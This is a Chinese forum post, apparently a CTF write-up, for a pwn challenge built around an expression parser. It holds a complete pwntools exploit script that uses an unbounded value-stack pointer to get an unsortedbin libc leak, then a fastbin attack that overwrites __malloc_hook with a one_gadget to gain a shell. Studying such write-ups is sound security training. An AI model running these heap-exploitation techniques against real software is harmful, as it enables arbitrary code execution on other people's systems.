首页
论坛
课程
招聘
[原创]第六题 兵刃相向 by k1ee
2020-11-30 14:39 2716

[原创]第六题 兵刃相向 by k1ee

2020-11-30 14:39
2716

兵刃相向

一个pwn题,是我没做过的堆题,我是乱打的。

 

题目是一个表达式解析器,漏洞点在于reevaluate没有限制val_stack_ptr,从而找到方法覆盖掉g_ctx.g_broken,随后构造unsortedbin,并通过同样的方法偏移指针,拿到libc基地址。最后通过fastbin attack覆盖malloc_hook为one gadget,拿到flag。

 

首先构造一个变量,用来避免后续在覆盖g_ctx.g_broken的时候,往21个指针的地方写入错误指针

1
create_symbol('b', '1')

构造造成偏移的表达式

1
2
3
4
5
create_symbol('minus_eight', '11-1')
delete_symbol('minus_eight')
# 11 1 -
create_symbol('minus_eight', '4+4')
# 4 4 +-

构造爆破表达式,要求有多余的23个运算符(malloc只能做15个,剩余的通过val构造为0x2A2A2A2A2A2A2A2A,即********来完成)

1
2
3
4
5
6
for i in range(18):
    create_symbol('pad_' + str(i), '2*3*7*257*641*65537*6700417*1*111111111111111')
 
for i in range(15, 0, -1):
    pad_mul('a', [i])
create_symbol('a', '2*21*10796368769*6700417*1*1*1*b')

image-20201130140621353

 

image-20201130140713355

 

将符号a指针向前移8字节

1
reeval_symbol('minus_eight')

image-20201130140730265

 

清空前面的偏移指针,因为会被后面覆盖掉

1
2
3
delete_symbol('minus_eight')
for i in range(18):
    delete_symbol('pad_' + str(i))

把b替换为0,并且注意刚才的2*21*10796368769*6700417*1*1*1*b,b在最末尾,因此运算的时候会覆盖掉前面的数,然后由于是乘以0,写入的值也会是0,如果不做这事,指针列表会变成这样

 

image-20201130141410920

 

替换之后,给他内存蹭了一下,两分多钟过后,就好了,可惜b这个符号就没法free了,不过影响不大

1
2
delete_symbol('b')
create_symbol('b', '0')

image-20201130142004742

 

把最后这个指针再加回8,然后释放,不过不知道这步是不是必要的,放荡一点泄露就泄露了

1
2
3
4
5
6
create_symbol('add_eight', '11+1')
delete_symbol('add_eight')
create_symbol('add_eight', '4+4')
reeval_symbol('add_eight')
delete_symbol('add_eight')
delete_symbol('a')

随后准备构造一个unsortedbin

1
2
3
for i in range(18):
    create_symbol('pad_' + str(i), '1')
create_symbol('big', '111111111111111*111111111111111*111111111111111*111111111111111*111111111111111*111111*1')

同样的构造一个偏移-211

1
2
3
create_symbol('off', '111-1111')
delete_symbol('off')
create_symbol('off', '104+107')

释放big,存入unsortedbin,新建一个pivot,结合上面的-211,指向fd,取得libc基地址,下图value是main_arena+88

1
2
3
4
5
6
7
create_symbol('pivot', '1')
delete_symbol('big')
reeval_symbol('off')
 
main_arena = show_symbol(p64(0).decode()) - 88
libc_base = main_arena - 0x3C4B20
one_gadget = libc_base + 0xf02a4

image-20201130142403629

 

选一个one_gadget,实验可知第三个符合要求

 

image-20201130142531310

 

下面fastbin attack替换malloc_hook

1
attack_bin = main_arena - 0x10 - 0x23

不过在这之前把刚才的pivot给偏移回去释放了

1
2
3
4
5
6
7
8
9
delete_symbol('off')
create_symbol('off', '111+1111')
delete_symbol('off')
create_symbol('off', '104+107')
reeval_symbol('off')
for i in range(18):
    delete_symbol('pad_' + str(i))
delete_symbol('off')
delete_symbol('pivot')

申请两个0x5F大小的,两者相距0x70,因此同样可以前移0x70拿到释放的指针,不过这样我们就得申请3个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
create_symbol('off', '111-11')
delete_symbol('off')
create_symbol('off', '56+56')
create_symbol('fastbinattack2', '1*1111*11111111*111111111111111*111111111111111*111111*1')
for i in range(17):
    create_symbol('pad_' + str(i), '111111111111111*111111111111111*111111111111111*111111111111111*111111111111111*111111*1')
create_symbol('fastbinattack1', '1*1111*11111111*111111111111111*111111111111111*111111*1')
create_symbol('fastbinattackp', '1*1111*11111111*111111111111111*111111111111111*111111*1')
delete_symbol('fastbinattack1')
delete_symbol('fastbinattack2')
reeval_symbol('off')
delete_symbol('off')
#重新释放fastbinattack1
delete_symbol(p64(0).decode())

此时fastbin已经构造完成chunk1 -> chunk2 -> chunk1

 

image-20201130143033454

 

由于下面要申请5次,但现在只有4个空位置

 

image-20201130143116149

 

因此需要释放一个填充

1
delete_symbol('pad_0')

申请3次buffer,其中第一次写入__malloc_hook-0x23,覆盖fd

1
2
3
create_symbol(p64(attack_bin), '1*1111*11111111*111111111111111*111111111111111*111111*1')
create_symbol('skip1', '1*1111*11111111*111111111111111*111111111111111*111111*1')
create_symbol('skip2', '1*1111*11111111*111111111111111*111111111111111*111111*1')

写入表达式,使得value(即__malloc_hook)等于one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
values = factorint(one_gadget)
if len(values) == 1:
    print('One Gadget Not Factorable')
    exit(0)
 
dirty_chunk = ''
currentlen = 0
for i in values:
    for repeat in range(values[i]):
        dirty_chunk += str(i) + '*'
        currentlen += len(str(i)) + 3
dirty_chunk = dirty_chunk[:-1]
currentlen -= 3
targetlen = 68
while currentlen < targetlen:
    dirty_chunk += '+1111-1111'
    currentlen += 14
 
print(hex(one_gadget))
create_symbol('payload', dirty_chunk)

image-20201130143606509

 

image-20201130143622551

 

最后再次申请内存,拿到flag

1
2
3
4
5
6
7
8
9
10
conn.sendline('1')
print(1)
print(conn.recvuntil('Symbol name : ').decode())
conn.sendline('exploit')
print('exploit')
print(conn.recvuntil('Expression : ').decode())
conn.sendline('1+1')
print('1+1')
 
conn.interactive()

image-20201130135437631

1
flag{a1008252-6159-43f3-8221-485e923eb4d6}

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
import os
os.environ['PWNLIB_NOTERM'] = 'True'
from pwn import *
from sympy.ntheory import factorint
 
# conn = remote('121.36.145.157', 10000)
conn = process('/home/ubuntu/ee')#, env={"LD_PRELOAD" : "/home/ubuntu/libc.so.6"})
print(1)
print(conn.recvuntil('Your choice :').decode())
 
def create_symbol(name, symbol):
    conn.sendline('1')
    print(1)
    print(conn.recvuntil('Symbol name : ').decode())
    conn.sendline(name)
    print(name)
    print(conn.recvuntil('Expression : ').decode())
    conn.sendline(symbol)
    print(symbol)
    print(conn.recvuntil('Your choice :').decode())
 
def delete_symbol(name):
    conn.sendline('2')
    print(2)
    print(conn.recvuntil('Symbol name : ').decode())
    conn.sendline(name)
    print(name)
    print(conn.recvuntil('Your choice :').decode())
 
def reeval_symbol(name):
    conn.sendline('3')
    print(3)
    print(conn.recvuntil('Symbol name : ').decode())
    conn.sendline(name)
    print(name)
    print(conn.recvuntil('Your choice :').decode())
 
def show_symbol(name):
    conn.sendline('4')
    print(4)
    print(conn.recvuntil('Symbol name : ').decode())
    conn.sendline(name)
    print(name)
    print(conn.recvuntil('[*]value : ').decode())
    value = int(conn.recvline().decode())
    print(hex(value))
    print(conn.recv(1000, 1).decode())
    return value
 
def pad_mul(name, l):
    str = '2*3*7*257*641*65537*6700417*1*'
    str += '1' * i
    create_symbol(name, str)
    delete_symbol(name)
 
#prevent set values on ptrs
create_symbol('b', '1')
 
#fix g_ctx.broken
#move last ptr forward 8
create_symbol('minus_eight', '11-1')
delete_symbol('minus_eight')
# 11 1 -
create_symbol('minus_eight', '4+4')
# 4 4 +-
 
for i in range(18):
    create_symbol('pad_' + str(i), '2*3*7*257*641*65537*6700417*1*111111111111111')
 
for i in range(15, 0, -1):
    pad_mul('a', [i])
create_symbol('a', '2*21*10796368769*6700417*1*1*1*b')
 
#move 8 forward
reeval_symbol('minus_eight')
 
delete_symbol('minus_eight')
for i in range(18):
    delete_symbol('pad_' + str(i))
 
delete_symbol('b')
create_symbol('b', '0')
#fix broken
reeval_symbol('a')
 
create_symbol('add_eight', '11+1')
delete_symbol('add_eight')
create_symbol('add_eight', '4+4')
#move back last ptr
reeval_symbol('add_eight')
delete_symbol('add_eight')
delete_symbol('a')
 
 
for i in range(18):
    create_symbol('pad_' + str(i), '1')
create_symbol('big', '111111111111111*111111111111111*111111111111111*111111111111111*111111111111111*111111*1')
create_symbol('off', '111-1111')
delete_symbol('off')
create_symbol('off', '104+107')
create_symbol('pivot', '1')
delete_symbol('big')
reeval_symbol('off')
 
main_arena = show_symbol(p64(0).decode()) - 88
libc_base = main_arena - 0x3C4B20
one_gadget = libc_base + 0xf02a4
# 0x4526a
# 0xf1147
# 0xf02a4
# 0x45216
 
print(hex(libc_base))
print(hex(one_gadget))
attack_bin = main_arena - 0x10 - 0x23
print(hex(attack_bin))
 
delete_symbol('off')
create_symbol('off', '111+1111')
delete_symbol('off')
create_symbol('off', '104+107')
reeval_symbol('off')
 
for i in range(18):
    delete_symbol('pad_' + str(i))
delete_symbol('off')
delete_symbol('pivot')
 
create_symbol('off', '111-11')
delete_symbol('off')
create_symbol('off', '56+56')
create_symbol('fastbinattack2', '1*1111*11111111*111111111111111*111111111111111*111111*1')
for i in range(17):
    create_symbol('pad_' + str(i), '111111111111111*111111111111111*111111111111111*111111111111111*111111111111111*111111*1')
create_symbol('fastbinattack1', '1*1111*11111111*111111111111111*111111111111111*111111*1')
create_symbol('fastbinattackp', '1*1111*11111111*111111111111111*111111111111111*111111*1')
delete_symbol('fastbinattack1')
delete_symbol('fastbinattack2')
reeval_symbol('off')
delete_symbol('off')
delete_symbol(p64(0).decode()) #re free fastbinattack1
delete_symbol('pad_0')
 
#fake fd
create_symbol(p64(attack_bin), '1*1111*11111111*111111111111111*111111111111111*111111*1')
create_symbol('skip1', '1*1111*11111111*111111111111111*111111111111111*111111*1')
create_symbol('skip2', '1*1111*11111111*111111111111111*111111111111111*111111*1')
 
values = factorint(one_gadget)
if len(values) == 1:
    print('One Gadget Not Factorable')
    exit(0)
 
dirty_chunk = ''
currentlen = 0
for i in values:
    for repeat in range(values[i]):
        dirty_chunk += str(i) + '*'
        currentlen += len(str(i)) + 3
dirty_chunk = dirty_chunk[:-1]
currentlen -= 3
targetlen = 68
while currentlen < targetlen:
    dirty_chunk += '+1111-1111'
    currentlen += 14
 
print(hex(one_gadget))
create_symbol('payload', dirty_chunk)
 
conn.sendline('1')
print(1)
print(conn.recvuntil('Symbol name : ').decode())
conn.sendline('exploit')
print('exploit')
print(conn.recvuntil('Expression : ').decode())
conn.sendline('1+1')
print('1+1')
 
conn.interactive()

看雪侠者千人榜,看看你上榜了吗?

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回